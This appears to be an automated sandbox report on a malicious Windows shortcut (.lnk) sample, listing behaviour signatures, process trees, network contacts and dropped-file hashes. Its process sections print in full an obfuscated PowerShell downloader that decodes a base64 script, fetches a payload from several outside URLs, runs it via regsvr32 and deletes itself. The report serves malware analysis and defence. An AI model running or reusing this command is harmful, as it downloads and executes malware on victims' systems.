Malware Analysis Report

2024-12-07 16:13

Sample ID 241113-mw4r8s1bnk
Target a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1
SHA256 a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1

Threat Level: Likely malicious

The file a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 10:49

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 10:49

Reported

2024-11-13 10:52

Platform

win7-20240903-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1

Network

N/A

Files

memory/2796-38-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

memory/2796-39-0x000000001B620000-0x000000001B902000-memory.dmp

memory/2796-40-0x0000000001E60000-0x0000000001E68000-memory.dmp

memory/2796-41-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

memory/2796-43-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

memory/2796-44-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

memory/2796-42-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

memory/2796-45-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

memory/2796-51-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

MD5 8ef6909ba4b9e6cd6676297601c39e5c
SHA1 9dcd9af682adacb278c1970d49babafd29df3928
SHA256 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512 b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

memory/2796-53-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 10:49

Reported

2024-11-13 10:52

Platform

win10v2004-20241007-en

Max time kernel

96s

Max time network

134s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 hmeng.co.uk udp
US 104.21.65.208:80 hmeng.co.uk tcp
US 8.8.8.8:53 edoraseguros.com.br udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 209.126.103.109:443 edoraseguros.com.br tcp
US 8.8.8.8:53 www.edoraseguros.com.br udp
US 8.8.8.8:53 208.65.21.104.in-addr.arpa udp
US 209.126.103.109:443 www.edoraseguros.com.br tcp
US 8.8.8.8:53 109.103.126.209.in-addr.arpa udp
US 8.8.8.8:53 www.reneetten.nl udp
NL 45.82.191.199:443 www.reneetten.nl tcp
US 8.8.8.8:53 brendancleary.net udp
US 173.236.139.118:80 brendancleary.net tcp
US 8.8.8.8:53 199.191.82.45.in-addr.arpa udp
US 8.8.8.8:53 bencevendeghaz.hu udp
HU 37.221.212.72:443 bencevendeghaz.hu tcp
US 8.8.8.8:53 anat-bar.co.il udp
US 8.8.8.8:53 118.139.236.173.in-addr.arpa udp
US 8.8.8.8:53 72.212.221.37.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp

Files

memory/4152-2-0x00007FFC5D5D3000-0x00007FFC5D5D5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yud4niye.qdl.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4152-12-0x000001CEE95D0000-0x000001CEE95F2000-memory.dmp

memory/4152-14-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

memory/4152-13-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

memory/4152-15-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

memory/4152-24-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

MD5 8ef6909ba4b9e6cd6676297601c39e5c
SHA1 9dcd9af682adacb278c1970d49babafd29df3928
SHA256 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512 b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

memory/3128-28-0x000002823C0A0000-0x000002823C846000-memory.dmp

memory/4152-35-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0ab03b4ab0ee8273a1eea28cef1ca1e7
SHA1 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA256 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
SHA512 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72